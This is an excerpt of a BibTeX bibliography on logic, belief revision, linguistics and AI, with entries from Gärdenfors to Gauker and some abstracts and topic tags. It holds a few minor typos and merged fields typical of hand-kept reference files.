{conditionals;belief-revision;update-conditionals;Ramsey-test;} + } + +@book{ gardenfors:1987b, + editor = {Peter G\"{a}rdenfors}, + title = {Generalized Quantifiers}, + publisher = {D. Reidel Publishing Co.}, + year = {1987}, + address = {Dordrecht}, + topic = {generalized-quantifiers;} + } + +@incollection{ gardenfors:1988a, + author = {Peter G\"ardenfors}, + title = {Causation and the Dynamics of Belief}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {85--104}, + address = {Dordrecht}, + contentnote = {This paper discusses the probabilistic account of + causation.}, + topic = {causality;belief-revision;} + } + +@book{ gardenfors:1988b, + author = {Peter G\"{a}rdenfors}, + title = {Knowledge in Flux}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + topic = {belief-revision;} + } + +@inproceedings{ gardenfors-makinson:1988a, + author = {Peter G\"ardenfors and David C. Makinson}, + title = {Revisions of Knowledge Systems Using Epistemic + Entrenchment}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {83--95}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@book{ gardenfors-sahlin:1988a, + editor = {Peter G\"ardenfors and Nils-Eric Sahlin}, + title = {Decision, Probability, Utility: Selected Readings}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + topic = {decision-theory;probability;foundations-of-utility;} + } + +@incollection{ gardenfors-sahlin:1988b, + author = {Peter G\"ardenfors and Nils-Eric Sahlin}, + title = {Introduction}, + booktitle = {Decision, Probability, Utility: Selected Readings}, + publisher = {Cambridge University Press}, + year = {1988}, + pages = {1--15}, + address = {Cambridge, England}, + topic = {decision-theory;probability;foundations-of-utility;} + } + +@inproceedings{ gardenfors-makinson:1989a, + author = {Peter G\"ardenfors and David C. Makinson}, + title = {Relations Between the Logic of Theory Change and + Nonmonotonic Logic}, + booktitle = {The Logic of Theory Change Workshop, Konstanz}, + year = {1989}, + pages = {185--205}, + publisher = {Springer-Verlag}, + address = {Berlin}, + note = {Lecture Notes in Artificial Intelligence 465.}, + topic = {theory-revision;nonmonotonic-logic;} + } + +@article{ gardenfors:1990a, + author = {Peter G\"{a}rdenfors}, + title = {The Dynamics of Belief Systems: Foundations vs.\ Coherence + Theories}, + journal = {Revue Internationale de Philosophie}, + year = {1990}, + volume = {172}, + pages = {24--46}, + month = {January}, + missinginfo = {number.}, + topic = {belief-revision;} + } + +@inproceedings{ gardenfors:1990b, + author = {Peter G\"{a}rdenfors}, + title = {Belief Revision and Nonmonotonic Logic: Two Sides of the + Same Coin?}, + booktitle = {Proceedings of the Ninth European Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Aiello, Luigia Carlucci}, + publisher = {Pitman}, + address = {London}, + topic = {belief-revision;} + } + +@unpublished{ gardenfors:1990c, + author = {Peter G\"ardenfors}, + title = {The Emergence of Meaning}, + year = {1990}, + note = {Unpublished manuscript, Department of Philosophy, + Lund University}, + topic = {philosophy-of-language;foundations-of-semantics; + convention;} + } + +@incollection{ gardenfors:1991a, + author = {Peter G\"ardenfors}, + title = {Nonmonotonic Inference, Expectations, and Neural + Networks}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {12--27}, + address = {Berlin}, + topic = {nonmonotonic-reasoning;connectionist-models;} + } + +@incollection{ gardenfors:1991b, + author = {Peter G\"ardenfors}, + title = {Nonmonotonic Inferences Based on Expectations: A Preliminary + Report}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {595--590}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;kr-course;} + } + +@incollection{ gardenfors:1992a, + author = {Peter G\"ardenfors}, + title = {Belief Revision: An Introduction}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {1--28}, + address = {Cambridge}, + topic = {belief-revision;} + } + +@book{ gardenfors:1992b, + editor = {Peter G\"ardenfors}, + title = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge}, + topic = {belief-revision;} + } + +@techreport{ gardenfors-rott:1992a, + author = {Peter G\"ardenfors and Hans Rott}, + title = {Belief Revision}, + institution = {Lund University Cognitive Studies}, + number = {ISSN 1101-8453}, + year = {1992}, + address = {Lund}, + xref = {This is a draft version of a chapter for trhe Handbook of + Logic in AI and Logic Programming. Volume 4: Epistemic and + Temporal Reasoning.}, + topic = {belief-revision;} + } + +@article{ gardenfors:1993a, + author = {Peter G\"ardenfors}, + title = {The Emergence of Meaning}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {3}, + pages = {285--309}, + topic = {foundations-of-semantics;game-theory;} + } + +@article{ gardenfors:1994a, + author = {Peter G\"ardenfors}, + title = {Nonmonotonic Inference Based on Expectations}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + pages = {83--95}, + missinginfo = {number}, + topic = {nonmonotonic-logic;} + } + +@article{ gardenfors-makinson:1994a, + author = {Peter G\"ardenfors and David C. Makinson}, + title = {Nonmonotonic Inferences Based on Expectations}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {2}, + pages = {197--245}, + contentnote = {Uses selection functions and ``expectation relations'' to + model expectations. Relations between theory revision and + nonmonotonic logic.}, + topic = {nonmonotonic-logic;belief-revision;conditionals;} + } + +@incollection{ gardenfors:1996a, + author = {Peter Gardenfors}, + title = {Belief Revision and Knowledge Representation}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {117}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@incollection{ gardenfors:1996b, + author = {Peter G\"ardenfors}, + title = {The Cognitive Impact of Diagrams}, + booktitle = {Philosophy and Cognitive Science}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + editor = {Andy Clark and Jes\'us Ezquerro and Jes\'us M. Larrazabal}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {diagrams;reasoning-with-diagrams;} + } + +@book{ gardenfors:2000a, + author = {Peter G\"ardenfors}, + title = {Conceptual Spaces: The Geometry of Thought}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + topic = {conceptual-spaces;} + } + +@inproceedings{ gardent-kohlhase:1996a, + author = {Claire Gardent and Michael Kohlhase}, + title = {Higher-Order Coloured Unification and Natural Language + Semantics}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {1--9}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {unification;higher-order-unification;nl-semantics;} + } + +@incollection{ gardent:1997a, + author = {Claire Gardent}, + title = {Sloppy Identity}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {188--207}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@article{ gardent:2000a, + author = {Claire Gardent}, + title = {Deaccenting and Higher-Order Unification}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {3}, + pages = {313--338}, + topic = {ellipsis;deaccenting;higher-order-unification;} + } + +@article{ gardent-konrad:2000a, + author = {Claire Gardent and Karsten Konrad}, + title = {Interpreting Definites Using Model Generation}, + journal = {Journal of Language and Computation}, + year = {2000}, + volume = {1}, + number = {2}, + pages = {193--209}, + note = {Also available at http://www.coli.uni-sb.de/claus/claus/???}, + topic = {definite-descriptions;nl-intepretation;model-construction;} +} + +@inproceedings{ gardent-konrad:2000b, + author = {Claire Gardent and Karsten Konrad}, + title = {Understanding `Each Other'\, } , + booktitle = {Proceedings of the Thirty-Eighth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics}, + year = {2000}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + note = {Forthcoming}, + topic = {reciprocals;nl-interpretation;} + } + +@article{ gardent-webber:2001a, + author = {Claire Gardent and Bonnie Webber}, + title = {Towards the Use of Automated Reasoning in Discourse + Disambiguation}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {4}, + pages = {487--509}, + topic = {reference-resolution;anaphora;} + } + +@article{ gardin-meltzer:1989a, + author = {Francesco Gardin and Bernard Meltzer}, + title = {Analogical Representations of Naive Physics}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {2}, + pages = {139--159}, + topic = {naive-physics;analogy;} + } + +@book{ gardiner-christie:1987a, + editor = {Margaret M. Gardiner and Bruce Christie}, + title = {Applying Cognitive Psychology to User-Interface Design}, + publisher = {John Wiley and Sons}, + year = {1987}, + address = {New York}, + ISBN = {0471911844}, + topic = {HCI;} + } + +@article{ garding:1993a, + author = {Jonas G\"arding}, + title = {Shape from Texture and Contour by Weak Isotropy}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {2}, + pages = {243--297}, + acontentnote = {Abstract: + A unified framework for shape from texture and contour is + proposed. It is based on the assumption that the surface + markings are not systematically compressed, or formally, that + they are weakly isotropic. The weak isotropy principle is based + on analysis of the directional statistics of the projected + surface markings. It builds on several previous theories, in + particular by Witkin [25] and Kanatani [15]. It extends these + theories in various ways, most notably to perspective + projection. The theory also provides an exact solution to an + estimation problem earlier solved approximately by Kanatani. The + weak isotropy principle leads to a computationally efficient + algorithm, WISP, for estimation of surface orientation. WISP + uses simple image observables that are shown to be direct + correlates of the surface orientation to compute an initial + approximate estimate in a single step. In certain simple cases + this first estimate is exact, and in experiments with natural + images it is typically within 5 of the final estimate. + Furthermore, a proof is given that a rotationally symmetric + contour of order three or higher is weakly isotropic. Hence, + the WISP algorithm will without modification recover the + orientation of any such contour from a perspective view of it.}, + topic = {texture;shape-recognition;computer-vision; + reasoning-about-perspective;} + } + +@book{ gardner_a:1987a, + author = {Ann Gardner}, + year = {1987}, + title = {An Artificial Intelligence Approach to + Legal Reasoning}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + ISBN = {026207105}, + topic = {legal-reasoning;legal-AI;} + } + +@article{ gardner_m:1977a, + author = {Martin Gardner}, + title = {The `Jump Proof' and its Similarity to the Toppling of + a Row of Dominoes}, + journal = {Scientific American}, + year = {1977}, + volume = {236}, + pages = {128--135}, + missinginfo = {month, number}, + topic = {Conway-paradox;} + } + +@book{ gardner_m:1984a, + author = {Martin Gardner}, + title = {Puzzles From Other Worlds}, + publisher = {Viking Press}, + year = {1984}, + address = {New York}, + topic = {mathematics-puzzles;} + } + +@article{ gardner_r:2000a, + author = {Roy Gardner}, + title = {Review of {\it Probability and Conditionals: Belief + Revision and Rational Decision}, edited by Ellery Eells and + {B}rian {S}kyrms, and of {\it Taking Chances}, by {J}ordan + {H}oward {S}obel}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {553--557}, + xref = {Review of: eells-skyrms:1994a, sobel_jh:1994a.}, + topic = {probability;conditionals;CCCP;causal-decision-theory;} + } + +@book{ garey-johnson:1979a, + author = {Michael R. Garey and David S. Johnson}, + title = {Computers and Intractability}, + publisher = {W.H. Freeman and Co.}, + year = {1979}, + address = {New York}, + ISBN = {0-7167-1045-5 (pbk.)}, + topic = {algorithmic-complexity;} + } + +@book{ garfield:1987a, + editor = {Jay L. Garfield}, + title = {Modularity in Knowledge Representation and Natural-Language + Understanding}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-modularity;} + } + +@book{ garfield:1987b, + editor = {Jay L. Garfield}, + title = {Modularity in Knowledge Representation and Natural-Language + Understanding}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + ISBN = {0262071053}, + topic = {cognitive-modularity;philosophy-of-cogsci;} + } + +@book{ garfield:1988a, + author = {Jay L. Garfield}, + title = {Belief in Psychology: A Study in the Ontology of Mind}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + ISBN = {0262071088}, + topic = {belief;philosophical-psychology;philosophy-of-mind;} + } + +@incollection{ garfinkel:1972a, + author = {H. Garfinkel}, + title = {Remarks on Ethnomethodology}, + booktitle = {Directions in Sociolinguistics}, + publisher = {Holt, Rinehart and Winston}, + year = {1972}, + editor = {J.J. Gumperz and D.H. Hymes}, + pages = {301--324}, + missinginfo = {A's 1st name.}, + topic = {ethnomethodology;sociolinguistics;} + } + +@incollection{ gargenfors:2002a, + author = {Peter G\"argenfors}, + title = {The Role of Higher-Order Similarity in Induction and + Concept-Formation}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {629}, + address = {San Francisco, California}, + topic = {concept-formation;connectionist-models;} + } + +@inproceedings{ gargouri-etal:1998a, + author = {Bilel Gargouri and Abdelmajid Ben Hamadou and Mohamed Jmaiel}, + title = {Vers l'utilisation des m\'ethodes formelles pour le + d\'eveloppement de linguiciels}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {438--443}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {software-engineering;nl-processing;} +} + +@article{ gargov-goranko:1993a, + author = {George Gargov and Valentin Goranko}, + title = {Modal Logic with Names}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {6}, + pages = {607--636}, + contentnote = {Add variables ranging over singleton sets of worlds.}, + topic = {modal-logic;} + } + +@incollection{ garner:1971a, + author = {Richard Garner}, + title = {\,`Presupposition'\, in Philosophy and Linguistics}, + booktitle = {Studies in Linguistic Semantics}, + publisher = {Holt, Rinehart and Winston}, + year = {1971}, + editor = {Charles J. Fillmore and D. Terence Langendoen}, + pages = {23--44}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@book{ garnham-oakhill:1994a, + author = {Alan Garnham and Jane Oakhill}, + title = {Thinking and Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + ISBN = {0631170022 (alk. paper)}, + topic = {cognitive-psychology;} + } + +@article{ garrett_b:1988a, + author = {Brian Garrett}, + title = {Vagueness and Identity}, + journal = {Analysis}, + year = {1988}, + volume = {48}, + pages = {130--144}, + missinginfo = {A's 1st name, number}, + topic = {vagueness;identity;} + } + +@article{ garrett_b:1991a, + author = {Brian Garrett}, + title = {Vague Identity and Vague Objects}, + journal = {No\^us}, + year = {1991}, + volume = {25}, + pages = {341--351}, + missinginfo = {A's 1st name, number}, + topic = {vagueness;identity;} + } + +@article{ garrett_b:1991b, + author = {Brian Garrett}, + title = {Vagueness, Identity and the World}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1991}, + volume = {17}, + number = {85--86}, + missinginfo = {A's 1st name, pages}, + topic = {vagueness;identity;} + } + +@incollection{ garrett_mf:1990a, + author = {Merrill F. Garrett}, + title = {Sentence Processing}, + booktitle = {Language: An Invitation to Cognitive Science, + Vol. 1.}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {133--175}, + address = {Cambridge, Massachusetts}, + topic = {parsing-psychology;psycholinguistics;} + } + +@article{ garrod-sanford:1996a, + author = {Simon C. Garrod and Anthony J. Sanford}, + title = {Discourse Models as Interfaces Between Language and the + Spatial World}, + journal = {Journal of Semantics}, + year = {1996}, + volume = {6}, + number = {1}, + pages = {147--160}, + missinginfo = {Date is a guess.}, + topic = {discourse;spatial-reasoning;pragmatics;} + } + +@book{ garside-etal:1987a, + editor = {Roger Garside and Geoffrey Leech and Geoffrey Sampson}, + title = {The Computational Analysis of {E}nglish}, + publisher = {Longman}, + year = {1987}, + address = {London}, + topic = {corpus-linguistics;English-language;} +} + +@book{ garside-etal:1997a, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + title = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + address = {London}, + contentnote = {TC: + 1. Geoffrey Leech, "Introducing Corpus Annotation", pp. 1--18 + 2. Geoffrey Leech, "Grammatical Tagging", pp. 19--33 + 3. Geoffrey Leech and Elizabeth Eyes, "Syntactic Annotation: + Treebanks", pp. 34--52 + 4. Andrew Wilson and Jenny Thomas, "Semantic Annotation", pp. 53--65 + 5. Roger Garside and Steve Fliegelstone and Simon + Botley, "Discourse Annotation", pp. 66--84 + 6. Geoffrey Leech and Tony McEnery and Martin Wynne, "Further + Levels of Annotation", pp. 85--101 + 7. Roger Garside and Nicholas Smith, "A Hybrid Grammatical + Tagger: {CLAWS}4", pp. 102--121 + 8. Steve Fliegelstone and Mike Pacey and Paul Rayson, "How to + Generalize the Task of Annotation", pp. 122--136 + 9. Nicholas Smith, "Improving a Tagger", pp. 137--150 + 10. Fernando S\'anchez L\'eon and Amalio F. Nieto + Serrano, "Retargetting a Tagger", pp. 151--166 + 11. Jeremy Bateman and Jean Forrest and Tim Willis, "The Use + of Syntactic Annotation Tools: Partial and Full + Parsing", pp. 166-- + 12. Roger Garside and Paul Rayson, "Higher-Level Annotation + Tools", pp. 179--193 + 13. Tony McEnery and Paul Rayson, "A Corpus/Annotation + Toolbox", pp. 194--208 + 14. Tony McEnery and John Paul Baker and John Hutchinson, "A + Corpus-Based Grammar Tutor", pp. 209--219 + 15. Tony McEnery and Jean-Marc Lang\'e and Michael Oakes + and Jean V\'eronis, "The Exploitation of Multilingual + Annotated Corpora for Term Extraction", pp. 220--230 + 16. Peter Kahrel and Ruthanna Barnet and Geoffrey Leech, "Towards + Cross-Linguistic Standards or Guidelines for the + Annotation of Corpora", pp. 231--242 + 17. John Paul Baker, "Consistency and Accuracy in Correcting + Automatically Tagged Data", pp. 243--250 + } , + topic = {corpus-linguistics;corpus-annotation;corpus-tagging;} +} + +@incollection{ garside-etal:1997b, + author = {Roger Garside and Steve Fliegelstone and Simon Botley}, + title = {Discourse Annotation}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {66--84}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;discourse-tagging;} + } + +@incollection{ garside-rayson:1997a, + author = {Roger Garside and Paul Rayson}, + title = {Higher-Level Annotation Tools}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {179--193}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;} + } + +@incollection{ garside-smith_n:1997a, + author = {Roger Garside and Nicholas Smith}, + title = {A Hybrid Grammatical Tagger: {CLAWS}4}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {102--121}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;corpus-tagging;} + } + +@article{ garson:1973a, + author = {James W. Garson}, + title = {Indefinite Topological Logic}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {1}, + pages = {102--118}, + topic = {modal-logic;} + } + +@incollection{ garson:1977a, + author = {James W. Garson}, + title = {Quantification in Modal Logic}, + booktitle = {Handbook of Philosophical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + editor = {Dov Gabbay and Franz Guenther}, + volume = {2}, + pages = {249--307}, + address = {Dordrecht}, + topic = {quantifying-in-modality;} + } + +@article{ garson:1980a, + author = {James W. Garson}, + title = {The Unaxiomatizability of a Quantified Intensional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {1}, + pages = {59--72}, + contentnote = {Shows that a version of quantified modal logic + with quantifiers over individual concepts is not + axiomatizable.}, + topic = {quantifying-in-modality;unaxiomatizability-theorems;} + } + +@incollection{ garson:1984a, + author = {James W. Garson}, + title = {Quantification in Modal Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {249--307}, + address = {Dordrecht}, + topic = {quantifying-in-modality;} + } + +@article{ garson:2001a, + author = {James W. Garson}, + title = {Review of {\it First Order Modal Logic}, by {M}elvin {F}itting + and {R}ichard {L}. {M}endelsohn}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {287--300}, + xref = {Review of fitting-mendelsohn:1998b.}, + topic = {modal-logic;} + } + +@article{ garton:1996a, + author = {Brad Garton}, + title = {Review of {\it Music and Connectionism}, edited by {P}eter + {T}odd and {D}. {G}areth {L}oy}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {79}, + number = {2}, + pages = {387--398}, + xref = {Review of todd-loy:1991a}, + topic = {AI-and-music;connectionist-models;connectionism;} + } + +@book{ gary-keenan_e:1976a, + author = {Judith Olmsted Gary and Edward L. Keenan}, + title = {Grammatical Relations in {K}inyarwanda and Universal Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {Bantu-languages;grammatical-relations;} + } + +@inproceedings{ gaschnig:1987a1, + author = {John Gaschnig}, + title = {A Problem Similarity Approach to Devising + Heuristics: First Results}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard Shrobe}, + pages = {301--307}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + xref = {Republication: gaschnig:1987a2.}, + topic = {search;analogy;} + } + +@incollection{ gaschnig:1987a2, + author = {John Gaschnig}, + title = {A Problem Similarity Approach to Devising + Heuristics: First Results}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {23--29}, + address = {Los Altos, California}, + xref = {Journal Publication: gaschnig:1987a1.}, + topic = {search;analogy;} + } + +@article{ gaskin:1993a, + author = {Richard Gaskin}, + title = {The Sea Battle and the Master Argument: {A}ristotle and + {D}iodorus {C}ronus on the Metaphysics of the Future}, + journal = {Phronesis}, + year = {1993}, + volume = {38}, + number = {1}, + pages = {75--94}, + acontentnote = {Abstract: + The article argues that in chapter 10 of his treatise ``De Fato'' + Alexander presupposes an interpretation of Aristotle's ``De + Interpretatione'' 9 according to which Aristotle restricted the + principle of bivalence for statements about future + contingencies. This reading of Alexander had been challenged on + the grounds that Alexander presupposes determinism in arguing + against his Stoic opponents, and that this presupposition + prevents us from assessing whether Alexander thought necessity + is consequential upon the sheer assumption of future truth. But + by detailed examination of the text it is shown that the + presupposition of determinism does not enter into the specific + part of the text where future truth is in question, and that + there Alexander does argue for an entailment from future truth + to necessity, and hence that he must have supposed that + Aristotle restricted the general validity of the principle of + bivalence in order to avoid a general necessitarianism.}, + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ gaskin:1994a, + author = {Richard Gaskin}, + title = {Molina on Divine Foreknowledge and the Principle of Bivalence}, + journal = {Journal of the History of Philosophy}, + year = {1994}, + volume = {32}, + number = {4}, + pages = {551--571}, + acontentnote = {Molina has two different approaches to the + metaphysics of the future: in his commentary on Aristotle's ``De + Interpretatione'' 9 he follows Aristotle in seeking to restrict the + ``Principle of Bivalence'' with respect to future contingencies, but in + his ``Concordia'' he offers an account of foreknowledge and middle + knowledge which presupposes that Bivalence remains unrestricted. + These two approaches are in conflict. Furthermore, the conflict is + imported by Molina into the ``Concordia'' itself. The article engages + in detail with the interpretations of Craig and Freddoso, who seek to + reconcile Molina's various pronouncements on foreknowledge and future + contingency. Molina's best course, if he wishes to restrict + Bivalence, would be to embrace a Thomistic approach to future + contingency; his objections to this approach are spurious.}, + topic = {future-contingent-propositions;medieval-philosophy;} + } + +@book{ gaskin:1995a, + author = {Richard Gaskin}, + title = {The Sea Battle and the Master Argument: {A}ristotle and + {D}iodorus {C}ronus on the Metaphysics of the Future}, + publisher = {Walter de Gruyter}, + year = {1995}, + address = {Berlin}, + ISBN = {3010144301}, + acontentnote = {Abstract: + The book provides a detailed historical analysis of Aristotle's + discussion of future contingency in "De Interpretatione" 9, as + well as a reconstruction of Diodorus Cronus's master argument. + It is argued that Aristotle adhered to an antirealist view of + statements about the future, along the lines of the view + attributed to him by his earliest extant commentators, Ammonius + and Boethius. The master argument is reconstructed without + adducing extra premisses, but with the help of the Aristotelian + principle that any contingency may be assumed to be actual + without incoherence. The connections between Diodorus and + Aristotle, as well as other pertinent Aristotelian texts, are + examined. Appendices consider relevant Peripatetic sources, as + well as the medieval commentaries on "De Interpretatione" 9. } , + xref = {Review: } , + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ gaskin:1996a, + author = {Richard Gaskin}, + title = {Sea Battles, Worn-Out Cloaks, and Other Matters of + Interpretation: {W}eidemann on {A}ristotle's `Peri + Hermeneias'\,}, + journal = {Archiv f\"ur Geschichte der {P}hilosophie}, + year = {1996}, + volume = {78}, + number = {1}, + pages = {48--59}, + acontentnote = {Abstract: + Critical notice of Hermann Weidemann's commentary on + Aristotle's ``De Interpretatione''. I argue that Weidemann's + interpretation of Chapter 9--the controversial Sea Battle' + Chapter--is vitiated by being cast in terms of an incoherent + distinction between weak' and strong' truth. } , + xref = {Review of aristotle-deint:bc.}, + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ gaskin:1998a, + author = {Richard Gaskin}, + title = {Fatalism, Bivalence and the Past}, + journal = {Philosophical Quarterly}, + year = {1998}, + volume = {48}, + number = {190}, + pages = {83--88}, + acontentnote = {In his paper ``Some Comments on Fatalism'' + (Philosophical Quarterly 46, 1996, 1-11), James Cargile offers + an argument against the view that the correct response to + fatalism is to restrict the Principle of Bivalence with respect + to statements about future contingencies. His argument fails + because it is question-begging. Further, he fails to give due + weight to the motivation behind such a view, which is the + desire to give an adequate account of the past-future + asymmetry. He supposes that mere appeal to the direction of + causation will suffice to explain this asymmetry, whereas in + fact the causal asymmetry is the same as the temporal asymmetry + and so cannot ground it. The paper finishes by drawing a + connection between the power asymmetry (our ability to affect + the future but not the past) and the memory-intention + asymmetry.}, + topic = {future-contingent-propositions;} + } + +@article{ gasking:1940a, + author = {D.A.T. Gasking}, + title = {Mathematics and the World}, + journal = {The {A}ustralian Journal of Psychology and + Philosophy}, + year = {1940}, + volume = {18}, + number = {2}, + pages = {97--116}, + topic = {philosophy-of-mathematics;} + } + +@incollection{ gasking:1962a, + author = {Douglas Gasking}, + title = {Avowals}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {154--169}, + address = {New York}, + xref = {Commentary: lean:1962a.}, + topic = {indexicals;} + } + +@article{ gaspari:1998a, + author = {Mauro Gaspari}, + title = {Concurrency and Knowledge-Level Communication in + Agent Languages}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {1--45}, + topic = {distributed-AI;artificial-communication;} + } + +@inproceedings{ gasquet:1993a, + author = {Olivier Gasquet}, + title = {Automated Deduction for a Multi-Modal Logic of Time + and Knowledge}, + pages = {38--45}, + booktitle = {Automated Deduction in Nonstandard Logics}, + year = {1993}, + organization = {AAAI}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + month = {October}, + title = {Optimization of Deduction for Multi-Modal Logics}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {61--77}, + address = {Dordrecht}, + topic = {modal-logic;theorem-proving;} + } + +@article{ gasser:1991a, + author = {Les Gasser}, + title = {Social Conceptions of Knowledge and Action: {DAI} + Foundations and Open Systems Semantics}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {107--138}, + acontentnote = {Abstract: This article discusses foundations for + Distributed Artificial Intelligence (DAI), with a particular + critical analysis of Hewitt's Open Information Systems Semantics + (OISS). + } , + topic = {distributed-AI;} + } + +@article{ gathercole:1986a, + author = {Virginia C. Gathercole}, + title = {Evaluating Competing Theories with Child Language + Data: The Case of the Mass-Count Distinction}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {2}, + pages = {151--190}, + topic = {mass-term-semantics;semantics-acquisition;L1-acquisition;} + } + +@book{ gathercole-baddeley:1994a, + author = {Susan E. Gathercole and Alan D. Baddeley}, + title = {Working Memory and Language}, + publisher = {Lawrence Erlbaum Associates}, + year = {1994}, + address = {Mahwah, New Jersey}, + topic = {memory-models;psycholinguistics;} + } + +@article{ gauker:1997a, + author = {Christopher Gauker}, + title = {Domains of Discourse}, + journal = {Mind}, + year = {1996}, + volume = {106}, + pages = {1--32}, + missinginfo = {number}, + xref = {Commentary: vandeemter:1998c.}, + topic = 